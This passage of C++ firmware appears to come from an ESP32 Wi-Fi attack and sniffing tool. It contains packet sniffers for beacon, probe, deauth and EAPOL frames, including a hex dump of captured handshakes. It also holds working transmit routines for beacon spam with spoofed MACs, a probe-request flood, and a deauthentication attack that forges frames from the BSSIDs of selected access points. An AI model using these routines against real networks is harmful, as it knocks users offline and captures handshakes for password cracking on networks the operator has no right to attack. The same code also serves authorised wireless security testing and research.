  1340. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1341. #ifdef HAS_SCREEN
  1342. int buf = display_obj.display_buffer->size();
  1343. #else
  1344. int buf = 0;
  1345. #endif
  1346. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1347. {
  1348. delay(random(0, 10));
  1349. Serial.print("RSSI: ");
  1350. Serial.print(snifferPacket->rx_ctrl.rssi);
  1351. Serial.print(" Ch: ");
  1352. Serial.print(snifferPacket->rx_ctrl.channel);
  1353. Serial.print(" BSSID: ");
  1354. char addr[] = "00:00:00:00:00:00";
  1355. getMAC(addr, snifferPacket->payload, 10);
  1356. Serial.print(addr);
  1357. display_string.concat(addr);
  1358. Serial.print(" ESSID: ");
  1359. display_string.concat(" -> ");
  1360. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1361. {
  1362. Serial.print((char)snifferPacket->payload[i + 38]);
  1363. display_string.concat((char)snifferPacket->payload[i + 38]);
  1364. }
  1365. int temp_len = display_string.length();
  1366. #ifdef HAS_SCREEN
  1367. for (int i = 0; i < 40 - temp_len; i++)
  1368. {
  1369. display_string.concat(" ");
  1370. }
  1371. Serial.print(" ");
  1372. if (display_obj.display_buffer->size() == 0)
  1373. {
  1374. display_obj.loading = true;
  1375. display_obj.display_buffer->add(display_string);
  1376. display_obj.loading = false;
  1377. }
  1378. #endif
  1379. Serial.println();
  1380. if (save_packet)
  1381. sd_obj.addPacket(snifferPacket->payload, len);
  1382. }
  1383. }
  1384. }
  1385. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1386. {
  1387. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1388. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1389. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1390. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1391. int len = snifferPacket->rx_ctrl.sig_len;
  1392. String display_string = "";
  1393. if (type == WIFI_PKT_MGMT)
  1394. {
  1395. len -= 4;
  1396. int fctl = ntohs(frameControl->fctl);
  1397. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1398. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1399. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1400. #ifdef HAS_SCREEN
  1401. int buf = display_obj.display_buffer->size();
  1402. #else
  1403. int buf = 0;
  1404. #endif
  1405. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1406. {
  1407. delay(random(0, 10));
  1408. Serial.print("RSSI: ");
  1409. Serial.print(snifferPacket->rx_ctrl.rssi);
  1410. Serial.print(" Ch: ");
  1411. Serial.print(snifferPacket->rx_ctrl.channel);
  1412. Serial.print(" BSSID: ");
  1413. char addr[] = "00:00:00:00:00:00";
  1414. getMAC(addr, snifferPacket->payload, 10);
  1415. Serial.print(addr);
  1416. display_string.concat(text_table4[0]);
  1417. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1418. display_string.concat(" ");
  1419. display_string.concat(addr);
  1420. #ifdef HAS_SCREEN
  1421. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1422. {
  1423. display_string.concat(" ");
  1424. }
  1425. Serial.print(" ");
  1426. if (display_obj.display_buffer->size() == 0)
  1427. {
  1428. display_obj.loading = true;
  1429. display_obj.display_buffer->add(display_string);
  1430. display_obj.loading = false;
  1431. }
  1432. #endif
  1433. Serial.println();
  1434. if (save_packet)
  1435. sd_obj.addPacket(snifferPacket->payload, len);
  1436. }
  1437. }
  1438. }
  1439. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1440. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1441. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1442. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1443. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1444. int len = snifferPacket->rx_ctrl.sig_len;
  1445. String display_string = "";
  1446. if (type == WIFI_PKT_MGMT)
  1447. {
  1448. len -= 4;
  1449. int fctl = ntohs(frameControl->fctl);
  1450. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1451. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1452. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1453. #ifdef HAS_SCREEN
  1454. int buf = display_obj.display_buffer->size();
  1455. #else
  1456. int buf = 0;
  1457. #endif
  1458. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1459. {
  1460. delay(random(0, 10));
  1461. Serial.print("RSSI: ");
  1462. Serial.print(snifferPacket->rx_ctrl.rssi);
  1463. Serial.print(" Ch: ");
  1464. Serial.print(snifferPacket->rx_ctrl.channel);
  1465. Serial.print(" Client: ");
  1466. char addr[] = "00:00:00:00:00:00";
  1467. getMAC(addr, snifferPacket->payload, 10);
  1468. Serial.print(addr);
  1469. display_string.concat(addr);
  1470. Serial.print(" Requesting: ");
  1471. display_string.concat(" -> ");
  1472. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1473. {
  1474. Serial.print((char)snifferPacket->payload[26 + i]);
  1475. display_string.concat((char)snifferPacket->payload[26 + i]);
  1476. }
  1477. // Print spaces because of the rotating lines of the hardware scroll.
  1478. // The same characters print from previous lines so I just overwrite them
  1479. // with spaces.
  1480. #ifdef HAS_SCREEN
  1481. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1482. {
  1483. display_string.concat(" ");
  1484. }
  1485. if (display_obj.display_buffer->size() == 0)
  1486. {
  1487. //while (display_obj.printing)
  1488. // delay(1);
  1489. display_obj.loading = true;
  1490. display_obj.display_buffer->add(display_string);
  1491. display_obj.loading = false;
  1492. }
  1493. #endif
  1494. Serial.println();
  1495. if (save_packet)
  1496. sd_obj.addPacket(snifferPacket->payload, len);
  1497. }
  1498. }
  1499. }
  1500. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1501. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1502. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1503. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1504. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1505. int len = snifferPacket->rx_ctrl.sig_len;
  1506. String display_string = "";
  1507. String essid = "";
  1508. bool found = false;
  1509. if (type == WIFI_PKT_MGMT)
  1510. {
  1511. len -= 4;
  1512. int fctl = ntohs(frameControl->fctl);
  1513. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1514. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1515. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1516. #ifdef HAS_SCREEN
  1517. int buf = display_obj.display_buffer->size();
  1518. #else
  1519. int buf = 0;
  1520. #endif
  1521. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1522. {
  1523. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1524. {
  1525. essid.concat((char)snifferPacket->payload[26 + i]);
  1526. }
  1527. for (int i = 0; i < ssids->size(); i++) {
  1528. if (ssids->get(i).essid == essid) {
  1529. Serial.println("Found a sheep");
  1530. found = true;
  1531. break;
  1532. }
  1533. }
  1534. if (!found)
  1535. return;
  1536. delay(random(0, 10));
  1537. Serial.print("RSSI: ");
  1538. Serial.print(snifferPacket->rx_ctrl.rssi);
  1539. Serial.print(" Ch: ");
  1540. Serial.print(snifferPacket->rx_ctrl.channel);
  1541. Serial.print(" Client: ");
  1542. char addr[] = "00:00:00:00:00:00";
  1543. getMAC(addr, snifferPacket->payload, 10);
  1544. Serial.print(addr);
  1545. display_string.concat(addr);
  1546. Serial.print(" Requesting: ");
  1547. display_string.concat(" -> ");
  1548. // ESSID
  1549. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1550. {
  1551. Serial.print((char)snifferPacket->payload[26 + i]);
  1552. display_string.concat((char)snifferPacket->payload[26 + i]);
  1553. }
  1554. // Print spaces because of the rotating lines of the hardware scroll.
  1555. // The same characters print from previous lines so I just overwrite them
  1556. // with spaces.
  1557. #ifdef HAS_SCREEN
  1558. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1559. {
  1560. display_string.concat(" ");
  1561. }
  1562. if (display_obj.display_buffer->size() == 0)
  1563. {
  1564. display_obj.loading = true;
  1565. display_obj.display_buffer->add(display_string);
  1566. display_obj.loading = false;
  1567. }
  1568. #endif
  1569. Serial.println();
  1570. if (save_packet)
  1571. sd_obj.addPacket(snifferPacket->payload, len);
  1572. }
  1573. }
  1574. }
  1575. /*
  1576. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1577. set_channel = random(1,12);
  1578. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1579. delay(1);
  1580. // Randomize SRC MAC
  1581. packet[10] = packet[16] = custom_ssid.bssid[0];
  1582. packet[11] = packet[17] = custom_ssid.bssid[1];
  1583. packet[12] = packet[18] = custom_ssid.bssid[2];
  1584. packet[13] = packet[19] = custom_ssid.bssid[3];
  1585. packet[14] = packet[20] = custom_ssid.bssid[4];
  1586. packet[15] = packet[21] = custom_ssid.bssid[5];
  1587. char ESSID[custom_ssid.essid.length() + 1] = {};
  1588. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1589. }*/
  1590. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1591. set_channel = random(1,12);
  1592. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1593. delay(1);
  1594. if (custom_ssid.beacon->size() == 0)
  1595. return;
  1596. uint8_t new_packet[custom_ssid.beacon->size()];
  1597. for (int i = 0; i < custom_ssid.beacon->size(); i++) {
  1598. new_packet[i] = custom_ssid.beacon->get(i);
  1599. }
  1600. // Randomize SRC MAC
  1601. new_packet[10] = new_packet[16] = random(256);
  1602. new_packet[11] = new_packet[17] = random(256);
  1603. new_packet[12] = new_packet[18] = random(256);
  1604. new_packet[13] = new_packet[19] = random(256);
  1605. new_packet[14] = new_packet[20] = random(256);
  1606. new_packet[15] = new_packet[21] = random(256);
  1607. //char ESSID[custom_ssid.essid.length() + 1] = {};
  1608. //custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1609. //int ssidLen = strlen(ESSID);
  1610. //int rand_len = sizeof(rand_reg);
  1611. //int fullLen = ssidLen;
  1612. //new_packet[37] = fullLen;
  1613. // Insert my tag
  1614. //for(int i = 0; i < ssidLen; i++)
  1615. // new_packet[38 + i] = ESSID[i];
  1616. /////////////////////////////
  1617. //new_packet[50 + fullLen] = set_channel;
  1618. //uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1619. // 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1620. // Add everything that goes after the SSID
  1621. //for(int i = 0; i < 12; i++)
  1622. // packet[38 + fullLen + i] = postSSID[i];
  1623. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1624. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1625. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1626. packets_sent = packets_sent + 3;
  1627. }
  1628. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1629. set_channel = random(1,12);
  1630. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1631. delay(1);
  1632. // Randomize SRC MAC
  1633. packet[10] = packet[16] = custom_ssid.bssid[0];
  1634. packet[11] = packet[17] = custom_ssid.bssid[1];
  1635. packet[12] = packet[18] = custom_ssid.bssid[2];
  1636. packet[13] = packet[19] = custom_ssid.bssid[3];
  1637. packet[14] = packet[20] = custom_ssid.bssid[4];
  1638. packet[15] = packet[21] = custom_ssid.bssid[5];
  1639. char ESSID[custom_ssid.essid.length() + 1] = {};
  1640. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1641. int ssidLen = strlen(ESSID);
  1642. //int rand_len = sizeof(rand_reg);
  1643. int fullLen = ssidLen;
  1644. packet[37] = fullLen;
  1645. // Insert my tag
  1646. for(int i = 0; i < ssidLen; i++)
  1647. packet[38 + i] = ESSID[i];
  1648. /////////////////////////////
  1649. packet[50 + fullLen] = set_channel;
  1650. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1651. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1652. // Add everything that goes after the SSID
  1653. for(int i = 0; i < 12; i++)
  1654. packet[38 + fullLen + i] = postSSID[i];
  1655. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1656. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1657. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1658. packets_sent = packets_sent + 3;
  1659. }
  1660. // Function to send beacons with random ESSID length
  1661. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1662. set_channel = random(1,12);
  1663. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1664. delay(1);
  1665. // Randomize SRC MAC
  1666. packet[10] = packet[16] = random(256);
  1667. packet[11] = packet[17] = random(256);
  1668. packet[12] = packet[18] = random(256);
  1669. packet[13] = packet[19] = random(256);
  1670. packet[14] = packet[20] = random(256);
  1671. packet[15] = packet[21] = random(256);
  1672. int ssidLen = strlen(ESSID);
  1673. //int rand_len = sizeof(rand_reg);
  1674. int fullLen = ssidLen;
  1675. packet[37] = fullLen;
  1676. // Insert my tag
  1677. for(int i = 0; i < ssidLen; i++)
  1678. packet[38 + i] = ESSID[i];
  1679. /////////////////////////////
  1680. packet[50 + fullLen] = set_channel;
  1681. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1682. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1683. // Add everything that goes after the SSID
  1684. for(int i = 0; i < 12; i++)
  1685. packet[38 + fullLen + i] = postSSID[i];
  1686. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1687. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1688. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1689. packets_sent = packets_sent + 3;
  1690. }
  1691. // Function for sending crafted beacon frames
  1692. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1693. set_channel = random(1,12);
  1694. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1695. delay(1);
  1696. // Randomize SRC MAC
  1697. packet[10] = packet[16] = random(256);
  1698. packet[11] = packet[17] = random(256);
  1699. packet[12] = packet[18] = random(256);
  1700. packet[13] = packet[19] = random(256);
  1701. packet[14] = packet[20] = random(256);
  1702. packet[15] = packet[21] = random(256);
  1703. packet[37] = 6;
  1704. // Randomize SSID (Fixed size 6. Lazy right?)
  1705. packet[38] = alfa[random(65)];
  1706. packet[39] = alfa[random(65)];
  1707. packet[40] = alfa[random(65)];
  1708. packet[41] = alfa[random(65)];
  1709. packet[42] = alfa[random(65)];
  1710. packet[43] = alfa[random(65)];
  1711. packet[56] = set_channel;
  1712. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1713. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1714. // Add everything that goes after the SSID
  1715. for(int i = 0; i < 12; i++)
  1716. packet[38 + 6 + i] = postSSID[i];
  1717. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1718. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1719. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1720. packets_sent = packets_sent + 3;
  1721. }
  1722. // Function to send probe flood to all "active" access points
  1723. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1724. // Itterate through all access points in list
  1725. for (int i = 0; i < access_points->size(); i++) {
  1726. // Check if active
  1727. if (access_points->get(i).selected) {
  1728. this->set_channel = access_points->get(i).channel;
  1729. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1730. delay(1);
  1731. // Build packet
  1732. // Randomize SRC MAC
  1733. prob_req_packet[10] = random(256);
  1734. prob_req_packet[11] = random(256);
  1735. prob_req_packet[12] = random(256);
  1736. prob_req_packet[13] = random(256);
  1737. prob_req_packet[14] = random(256);
  1738. prob_req_packet[15] = random(256);
  1739. // Set SSID length
  1740. int ssidLen = access_points->get(i).essid.length();
  1741. //int rand_len = sizeof(rand_reg);
  1742. int fullLen = ssidLen;
  1743. prob_req_packet[25] = fullLen;
  1744. // Insert ESSID
  1745. char buf[access_points->get(i).essid.length() + 1] = {};
  1746. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1747. for(int i = 0; i < ssidLen; i++)
  1748. prob_req_packet[26 + i] = buf[i];
  1749. /*
  1750. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1751. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1752. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1753. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1754. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1755. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1756. 0x00, 0x00
  1757. */
  1758. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1759. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1760. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1761. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1762. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1763. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1764. 0x00, 0x00, 0x00, 0x00};
  1765. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1766. for (int i = 0; i < 26 + fullLen; i++)
  1767. good_probe_req_packet[i] = prob_req_packet[i];
  1768. for(int i = 0; i < 40; i++)
  1769. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1770. // Send packet
  1771. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1772. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1773. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1774. packets_sent = packets_sent + 3;
  1775. }
  1776. }
  1777. }
  1778. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1779. // Itterate through all access points in list
  1780. for (int i = 0; i < access_points->size(); i++) {
  1781. // Check if active
  1782. if (access_points->get(i).selected) {
  1783. this->set_channel = access_points->get(i).channel;
  1784. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1785. delay(1);
  1786. // Build packet
  1787. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1788. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1789. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1790. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1791. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1792. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1793. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1794. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1795. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1796. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1797. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1798. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1799. // Send packet
  1800. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1801. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1802. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1803. packets_sent = packets_sent + 3;
  1804. }
  1805. }
  1806. }
  1807. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1808. {
  1809. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1810. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1811. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1812. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1813. int len = snifferPacket->rx_ctrl.sig_len;
  1814. if (type == WIFI_PKT_MGMT)
  1815. {
  1816. len -= 4;
  1817. int fctl = ntohs(frameControl->fctl);
  1818. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1819. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1820. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1821. if (snifferPacket->payload[0] == 0x80)
  1822. {
  1823. num_beacon++;
  1824. }
  1825. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1826. {
  1827. num_deauth++;
  1828. }
  1829. else if (snifferPacket->payload[0] == 0x40)
  1830. {
  1831. num_probe++;
  1832. }
  1833. if (save_packet)
  1834. sd_obj.addPacket(snifferPacket->payload, len);
  1835. }
  1836. }
  1837. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1838. {
  1839. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1840. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1841. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1842. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1843. int len = snifferPacket->rx_ctrl.sig_len;
  1844. if (type == WIFI_PKT_MGMT)
  1845. {
  1846. len -= 4;
  1847. int fctl = ntohs(frameControl->fctl);
  1848. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1849. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1850. }
  1851. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1852. num_eapol++;
  1853. Serial.println("Received EAPOL:");
  1854. for (int i = 0; i < len; i++) {
  1855. char hexCar[4];
  1856. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1857. Serial.print(hexCar);
  1858. //Serial.print(snifferPacket->payload[i], HEX);
  1859. if ((i + 1) % 16 == 0)
  1860. Serial.print("\n");
  1861. else
  1862. Serial.print(" ");
  1863. }
  1864. Serial.print("\n");
  1865. }
  1866. if (save_packet)
  1867. sd_obj.addPacket(snifferPacket->payload, len);
  1868. }
  1869. #ifdef HAS_SCREEN
  1870. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  1871. {
  1872. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  1873. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  1874. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  1875. {
  1876. currentTime = millis();
  1877. do_break = false;
  1878. y_pos_x = 0;
  1879. y_pos_y = 0;
  1880. y_pos_z = 0;
  1881. boolean pressed = false;
  1882. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  1883. // Do the touch stuff
  1884. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  1885. if (pressed) {
  1886. Serial.print("Got touch | X: ");
  1887. Serial.print(t_x);
  1888. Serial.print(" Y: ");
  1889. Serial.println(t_y);
  1890. }
  1891. // Check buttons for presses
  1892. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1893. {
  1894. if (pressed && display_obj.key[b].contains(t_x, t_y))
  1895. {
  1896. display_obj.key[b].press(true);
  1897. } else {
  1898. display_obj.key[b].press(false);
  1899. }
  1900. }
  1901. // Which buttons pressed
  1902. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1903. {
  1904. if (display_obj.key[b].justPressed())
  1905. {
  1906. Serial.println("Bro, key pressed");
  1907. //do_break = true;
  1908. }
  1909. if (display_obj.key[b].justReleased())
  1910. {
  1911. do_break = true;
  1912. // Channel - button pressed
  1913. if (b == 4) {
  1914. if (set_channel > 1) {
  1915. Serial.println("Shit channel down");
  1916. set_channel--;
  1917. delay(70);
  1918. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1919. //display_obj.tftDrawXScaleButtons(x_scale);
  1920. //display_obj.tftDrawYScaleButtons(y_scale);
  1921. display_obj.tftDrawChannelScaleButtons(set_channel);
  1922. display_obj.tftDrawExitScaleButtons();
  1923. changeChannel();
  1924. break;
  1925. }
  1926. }
  1927. // Channel + button pressed
  1928. else if (b == 5) {
  1929. if (set_channel < MAX_CHANNEL) {
  1930. Serial.println("Shit channel up");
  1931. set_channel++;
  1932. delay(70);
  1933. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1934. //display_obj.tftDrawXScaleButtons(x_scale);
  1935. //display_obj.tftDrawYScaleButtons(y_scale);
  1936. display_obj.tftDrawChannelScaleButtons(set_channel);
  1937. display_obj.tftDrawExitScaleButtons();
  1938. changeChannel();
  1939. break;
  1940. }
  1941. }
  1942. else if (b == 6) {
  1943. Serial.println("Exiting packet monitor...");
  1944. this->StartScan(WIFI_SCAN_OFF);
  1945. //display_obj.tft.init();
  1946. this->orient_display = true;
  1947. return;
  1948. }
  1949. }
  1950. }
  1951. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  1952. //Serial.println("-----------------------------------------");
  1953. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  1954. x_pos += x_scale;
  1955. initTime = millis();
  1956. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  1957. if (y_pos_x >= HEIGHT_1) {
  1958. Serial.println("Max EAPOL number reached. Adjusting...");
  1959. num_eapol = 0;
  1960. }
  1961. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  1962. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  1963. //Serial.println("num_beacon: " + (String)num_beacon);
  1964. //Serial.println("num_deauth: " + (String)num_deauth);
  1965. //Serial.println(" num_probe: " + (String)num_probe);
  1966. //num_beacon = 0;
  1967. //num_probe = 0;
  1968. //num_deauth = 0;
  1969. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  1970. //Plot "X" value
  1971. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  1972. //Plot "Z" value
  1973. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  1974. //Plot "Y" value
  1975. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  1976. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  1977. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  1978. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  1979. {
  1980. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  1981. }
  1982. else
  1983. {
  1984. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  1985. }
  1986. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  1987. //if (x_pos <= 90)
  1988. if (x_pos < 0) // below x axis
  1989. {
  1990. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  1991. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  1992. }
  1993. else
  1994. {
  1995. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  1996. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  1997. }
  1998. //tftDisplayTime();
  1999. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2000. {
  2001. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2002. }
